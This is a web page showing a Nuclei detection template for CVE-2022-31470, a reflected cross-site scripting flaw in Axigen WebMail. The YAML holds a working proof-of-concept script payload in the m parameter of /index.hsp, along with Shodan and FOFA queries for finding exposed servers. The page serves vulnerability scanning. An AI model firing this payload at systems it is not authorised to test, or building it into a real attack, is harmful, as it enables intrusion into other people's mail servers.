Axigen WebMail - Cross-Site Scripting

ID: CVE-2022-31470

Severity: medium

Author: AmirZargham

Tags: cve,cve2022,axigen,webmail,xss

Description

Axigen WebMail versions 10.5.0-4370c946 and older are vulnerable to reflected XSS via the m parameter in the /index.hsp endpoint.

YAML Source

id: CVE-2022-31470

info:
  name: Axigen WebMail - Cross-Site Scripting
  author: AmirZargham
  severity: medium
  description: |
    Axigen WebMail versions 10.5.0-4370c946 and older are vulnerable to reflected XSS via the m parameter in the /index.hsp endpoint.
  reference:
    - https://www.axigen.com/
    - https://www.exploit-db.com/exploits/51722
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31470
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.45678
    cpe: cpe:2.3:a:axigen:webmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: axigen
    product: webmail
    shodan-query: title:"Axigen"
    fofa-query: title="Axigen"
  tags: cve,cve2022,axigen,webmail,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "Axigen WebMail"
          - 'AXI-SCRIPT'
          - 'axigen-web-fonts'
          - 'AXIWMRememberLogin'
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/index.hsp?m=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210091206ed1744576c0e4b9160a60d5c3c5b4411f7154e8f9a9bdaeaed587a42381022100d703ae1ee4a82b805e242e6fde39872a2e71184902d7438aea8f69415ae6bcf3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31470.yaml"

View on Github